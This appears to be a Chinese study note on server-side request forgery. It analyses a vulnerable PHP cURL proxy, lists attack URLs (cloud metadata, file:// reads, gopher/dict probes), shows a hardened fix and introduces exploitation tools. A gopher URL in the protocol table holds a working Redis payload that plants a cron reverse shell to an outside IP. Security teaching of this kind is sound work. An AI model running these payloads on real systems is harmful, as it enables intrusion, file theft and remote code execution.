SSRF学习笔记

ssrf 介绍

这段 PHP 代码虽然很短,但却存在严重的安全风险。下面我会从代码功能逐行解析潜在危害如何改进四个方面进行详细说明。


1. 代码功能概述

这段代码通过 $_GET['url'] 接收用户传入的 URL,然后利用 PHP 的 cURL 库向该 URL 发起 HTTP 请求,并将获取到的响应内容(例如网页 HTML、图片二进制数据等)直接输出到浏览器。本质上,它实现了一个**没有访问控制的代理(Proxy)**功能。


2. 逐行详细解释

php 复制代码
<?php
function curl($url){
    $ch = curl_init();
    // 设置URL和相应的选项
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 抓取URL并把它传递给浏览器
    curl_exec($ch);
    // 关闭cURL资源,并且释放系统资源
    curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

第 1 行:<?php

PHP 代码开始标记。

第 2 行:function curl($url){

定义一个名为 curl 的函数,它接收一个参数 $url(目标地址)。

第 3 行:$ch = curl_init();

初始化一个新的 cURL 会话,返回一个 cURL 句柄 $ch。这个句柄将用于后续的所有 cURL 操作。

第 4 行:curl_setopt($ch, CURLOPT_URL, $url);

设置 cURL 选项:CURLOPT_URL 指定要请求的 URL,这里直接使用了函数参数 $url

第 5 行:curl_setopt($ch, CURLOPT_HEADER, 0);

设置 CURLOPT_HEADER0(false),意味着不将 HTTP 响应头输出到结果中 。只输出响应的 body(正文部分)。如果设置为 1,则会将响应头也包含在输出中。

第 6 行:curl_exec($ch);

执行 cURL 会话:向指定 URL 发出 HTTP 请求(默认为 GET 方法),并将返回的响应内容直接打印(输出)到浏览器。

第 7 行:curl_close($ch);

关闭 cURL 会话,释放系统资源。

第 8 行:}

函数定义结束。

第 9 行:$url = $_GET['url'];

从 HTTP GET 参数中读取名为 url 的值,并将其赋值给变量 $url。例如访问 http://example.com/this_script.php?url=https://www.baidu.com,则 $url 的值为 "https://www.baidu.com"

第 10 行:curl($url);

调用前面定义的 curl 函数,把用户提供的 $url 传进去。

第 11 行:?>

PHP 代码结束标记。


3. 这段代码的致命安全问题:SSRF

什么是 SSRF?

SSRF(Server-Side Request Forgery,服务端请求伪造) 是一种漏洞,攻击者可以让服务器向任意地址发起请求,包括内网地址、本地回环地址、甚至 file 协议读取本地文件。

此代码中的 SSRF 风险

由于 $_GET['url'] 没有经过任何过滤或限制,攻击者可以传入恶意 URL:

恶意 URL 示例 后果
http://169.254.169.254/latest/meta-data/ 如果服务器在云平台(AWS、阿里云等),可能获取云主机的元数据,包括临时凭证、密钥等。
http://127.0.0.1:8080/admin/ 探测内网中开放的 Web 服务,如管理后台、数据库管理界面。
file:///etc/passwd 关键 :cURL 支持 file:// 协议,攻击者可以读取服务器上的任意文件(前提是 PHP 的 cURL 编译时启用了 file 协议,很多环境默认支持)。
gopher://127.0.0.1:6379/_*2%0d%0a$4%0d%0ainfo%0d%0a 利用 gopher 协议攻击内网的 Redis、MySQL 等服务,实现更复杂的攻击。
http://攻击者控制的服务器/evil 利用服务器作为跳板发起攻击,隐藏攻击者真实 IP。
http://example.com/largefile.bin 如果目标 URL 返回大文件,会导致服务器大量内存占用甚至耗尽资源(拒绝服务)。

为什么 file:// 协议特别危险?

因为很多 PHP 环境允许 cURL 读取本地文件。例如:

复制代码
http://victim.com/proxy.php?url=file:///etc/passwd

服务器会返回 /etc/passwd 文件内容。这直接导致任意文件读取漏洞


4. 其他潜在问题

4.1 无错误处理

代码没有检查 curl_init() 是否成功,也没有判断 curl_exec() 是否出错。如果目标 URL 无法访问或超时,可能会显示 PHP 警告信息,泄露服务器路径等敏感信息。

4.2 响应内容直接输出

没有设置合适的 Content-Type,如果目标是一个二进制文件(如图片、PDF),可能会破坏页面显示。但没有安全风险,只是体验问题。

4.3 未禁止 HTTP 重定向跟随

cURL 默认会跟随 Location: 重定向(最多跟随 5 次)。攻击者可以让服务器跳转到内网地址,绕过简单的域名黑名单(如果有)。


5. 如何修复(安全使用 cURL 代理)

如果确实需要一个允许用户指定 URL 的代理(例如用于抓取网页内容),必须实施严格的白名单控制。

修复建议(至少做以下所有操作)

  1. 限制允许的协议

    只允许 http://https://,禁止 file://gopher://dict:// 等协议。

  2. 禁止访问内网 IP

    检查目标 IP 是否为私有地址(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)或回环地址(127.0.0.0/8),如果是则拒绝请求。

  3. 使用白名单域名

    如果业务需求明确(例如只允许抓取 api.example.com),直接写死域名,不接受用户完全控制的 URL。

  4. 设置超时
    curl_setopt($ch, CURLOPT_TIMEOUT, 5); 避免长时间等待或慢速攻击。

  5. 禁用自动重定向
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); 或者自己检查重定向目标是否安全。

  6. 不直接输出结果

    curl_exec() 的结果先存入变量,记录日志,再按需输出,并设置正确的 Content-Type

  7. 使用 allow_url_fopen = Off

    虽然不影响 cURL,但可以防止 file_get_contents() 等函数造成类似问题。

示例修复代码(关键部分)

php 复制代码
function safe_curl($url){
    // 1. 仅允许 http/https
    if (!preg_match('/^https?:\/\//i', $url)) {
        die("Invalid protocol");
    }
    // 2. 解析域名,禁止内网 IP
    $host = parse_url($url, PHP_URL_HOST);
    $ip = gethostbyname($host);
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
        die("IP not allowed");
    }
    // 3. 设置超时,禁用重定向
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // 返回结果而非直接输出
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

6. 总结

方面 评价
功能 实现了一个简单的 URL 代理,没有任何访问控制。
安全风险 极高。存在 SSRF 漏洞,可导致内网探测、云元数据窃取、任意文件读取、内网服务攻击等严重问题。
适用场景 仅限 本地测试、极度受控的内部环境,绝对不能部署在任何公网服务器上。
学习意义 这是一个经典的反面教材,用于理解 用户输入不可信SSRF 攻击 的原理。

如果你是在学习网络安全渗透,那么这段代码正是一个非常好的 靶标 ------ 你可以亲手尝试用 file:///etc/passwdhttp://127.0.0.1 来测试它的漏洞。但在实际开发和部署中,绝对不能写出这样的代码

php curl 扩展

获取网页资源------爬虫

webservice------获取接口数据

FTP------下载文件

php.ini extension=php_curl.dll

PHP其他函数

函数 作用
curl_exec() 执行 cURL 会话
file_get_contents() 将整个文件内容读取到一个字符串中
fsockopen() 打开一个网络连接或 Unix 套接字连接

注意: 这些函数如果未对用户输入进行严格过滤,都可能引发 SSRF(服务端请求伪造)漏洞。

CURL其他协议

协议 作用 示例 Payload
file 读取服务器本地文件 curl -v 'file:///etc/passwd'
dict 探测端口或获取服务信息 http://localhost/ssrf/ssrf1.php?url=dict://127.0.0.1:3306
gopher 构造复杂协议请求,常用于攻击内网服务(如 Redis、MySQL) curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.142.135/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

说明:

  • file 协议:可直接读取服务器文件系统,是 SSRF 攻击中常用的文件读取手段。
  • dict 协议:可用于探测端口是否开放,或获取某些服务的版本信息。
  • gopher 协议:功能强大,可构造任意 TCP 数据包,常被用于攻击 Redis、MySQL 等未授权访问的内网服务,甚至实现反弹 Shell。

这些协议在未加限制的 cURL 请求中均可被利用,进一步扩大了 SSRF 的攻击面。

危害:

1、扫描资产

2、获取敏感信息

3、攻击内网服务器(绕过防火墙)

4、访问大文件,造成溢出

5、通过Redis写入WebShell或建立反弹连接

ssrf 场景场景

社会化分享功能

转码服务: 百度app转码网页为手机网页

在线翻译:

图片加载,下载功能

文章、图片收藏功能

网站采集、网站

如何发现ssrf 漏洞

1、爬取地址

2、查看是否请求了其他资源

也可以用Google语法搜索关键字:

share、wap、url、link、src、source、target、u、

3g、display、sourceURL、imageURL、domain

自动化工具

https://github.com/cujanovic/SSRF-Testing

https://github.com/tarunkant/Gopherus

https://github.com/swisskyrepo/SSRFmap

这三个工具恰好覆盖了SSRF漏洞测试的三个不同阶段:信息收集漏洞利用自动化攻击。它们的侧重点完全不同,正好可以形成一套组合拳。

  • SSRF-Testing:一本"百科全书"(信息收集与绕过手册)
  • Gopherus:一把"万能钥匙"(Gopher协议Payload生成器)
  • SSRFmap:一门"自动化火炮"(半自动化漏洞利用框架)

下面是它们的具体介绍和对比:


📖 1. SSRF-Testing:信息收集与绕过手册

这是一个以资源收集和知识库为核心的项目,它本身不是一个自动化工具,而是一个"教科书"式的仓库。

  • 核心目的:帮助理解SSRF的原理和进行初步的漏洞验证。
  • 主要内容
    • 绕过技巧宝典:收录了大量用于绕过常见SSRF防御黑名单的技巧和Payload。
    • 各种"怪"响应测试:提供了用于测试不同HTTP重定向状态码和文件类型响应的在线Demo,帮助理解服务器在不同情况下的行为。
    • 知识笔记与备忘单:项目里有许多作者的学习笔记和备忘录,对于初学者来说是非常宝贵的学习材料。

场景:当你面对一个有SSRF漏洞的URL,但IP或域名被拦截时,可以来这里快速查找并尝试各种绕过方法。

🔑 2. Gopherus:Gopher协议Payload生成器

这是一个非常专精的Payload生成工具 。它不负责发现漏洞,只负责在你已确认SSRF漏洞存在且支持Gopher协议后,生成用于利用的恶意Payload。

  • 核心功能:通过交互式问答,生成针对多种内网服务的Gopher协议利用Payload。
  • 支持的服务(几乎涵盖了内网常见的所有服务)
    • 数据库:MySQL、PostgreSQL
    • 缓存:Redis、Memcached
    • Web/应用:FastCGI
    • 监控/邮件:Zabbix、SMTP
  • 利用效果 :生成的Payload可以让你实现内网资产探测、远程代码执行(RCE)、获取反向Shell、读写敏感文件等操作。
  • 适用场景:在CTF比赛后期或实战渗透中,当你已确认一个SSRF点并想最大化其危害时,它是一个绝佳的"弹药"生产器。

场景:你已经确认某个参数存在SSRF漏洞且后端支持Gopher协议,需要快速生成一个Payload来反弹Redis的shell。这时,使用Gopherus就是最高效的选择。

⚔️ 3. SSRFmap:半自动化漏洞利用框架

与Gopherus的"生成器"定位不同,SSRFmap是一个集成化的利用框架。它把"发现"和"利用"两个环节都包揽了。

  • 核心工作流
    1. 输入:接受一个Burp Suite的请求文件作为输入。
    2. Fuzz:自动对指定的参数进行Fuzz测试,探测是否存在SSRF漏洞。
    3. 利用 :一旦确认漏洞,内置了丰富的利用模块(Modules)
  • 丰富的模块列表
    • 信息探测:端口扫描、网络扫描、文件读取、云厂商元数据窃取(AWS, Alibaba等)。
    • 漏洞利用:FastCGI RCE、Redis RCE、Github Enterprise RCE、MySQL/Postgres命令执行等。
    • 高级利用:SOCKS代理、SMB哈希捕获、Tomcat爆破等。
  • 适用场景:当你有大量的目标URL需要批量检测SSRF漏洞并快速评估其危害时,这个框架可以极大地提升效率。

场景:在对一个大型网站进行渗透测试时,你通过Burp Suite抓取了数百个带有URL参数的请求。你可以将它们全部喂给SSRFmap,让它自动完成漏洞发现和初步利用。

📊 三个工具的对比总结

特性 SSRF-Testing Gopherus SSRFmap
定位 📖 知识库 / 备忘录 🎯 Payload生成器 ⚔️ 漏洞利用框架
自动化程度 低 (手动参考) 中等 (交互式生成) 高 (自动化探测与利用)
核心功能 提供绕过技巧、测试案例 生成Gopher协议的利用载荷 自动Fuzz、多模块漏洞利用
输入/产出 无 / 知识和URL 目标服务信息 / Gopher链接 Burp请求 / 多种利用结果
主要用途 学习原理、查找绕过方法 精准利用单个SSRF点 批量检测、快速评估危害
学习曲线

💎 如何选择与使用?

  1. 入门学习 :建议从 SSRF-Testing 开始,了解各种绕过技巧和原理,打好基础。
  2. 深入练习 :在CTF或靶场遇到SSRF题目时,先用 SSRFmap 进行快速探测和评估,再用 Gopherus 针对特定目标生成Payload进行精准打击。
  3. 实战应用
    • 挖洞/渗透时 :面对单个可疑的URL参数,先用 SSRF-Testing 里的技巧手动尝试绕过。找到突破口后,用 Gopherus 生成攻击载荷。
    • 大批量测试时 :直接上 SSRFmap,将Burp抓到的包批量导入,让它自动完成扫描和初步利用。

希望这份对比能帮你更好地理解和选择工具。下次在靶场练习时,可以试试把它们组合起来用,比如用SSRFmap发现漏洞,再用Gopherus进一步利用,效果会非常好。

防御

1、禁用协议

2、限制请求端口

3、设置URL白名单

4、过滤返回信息

5、统一错误信息

相关推荐
sakiko_2 小时前
Swift学习笔记33-多线程与UI渲染
笔记·学习·swiftui·swift
想你依然心痛2 小时前
HarmonyOS 6 悬浮导航 + 沉浸光感:打造鸿蒙智能体驱动的沉浸式语言学习伙伴
学习·华为·ar·harmonyos·智能体
爱喝水的鱼丶2 小时前
SAP-ABAP:条件判断与循环控制语句(7篇) 第三篇:循环基础:for、while、do-while三种循环的差异与适用场景
运维·学习·性能优化·sap·abap·erp
小新同学^O^2 小时前
简单学习 --> llm是怎么训练出来的?
人工智能·深度学习·学习
快乐得小萝卜2 小时前
笔记:TREX工具-2
笔记
wuxinyan1232 小时前
工业级大模型学习之路028:多智能体系统基础与双智能体协作
人工智能·python·学习
handler012 小时前
【MySQL】常用约束语法总结
linux·运维·数据库·笔记·mysql
chushiyunen2 小时前
golang笔记、go
开发语言·笔记·golang
星恒随风3 小时前
从零开始理解 CNN(上):为什么图像任务需要卷积神经网络?
人工智能·笔记·神经网络·学习·cnn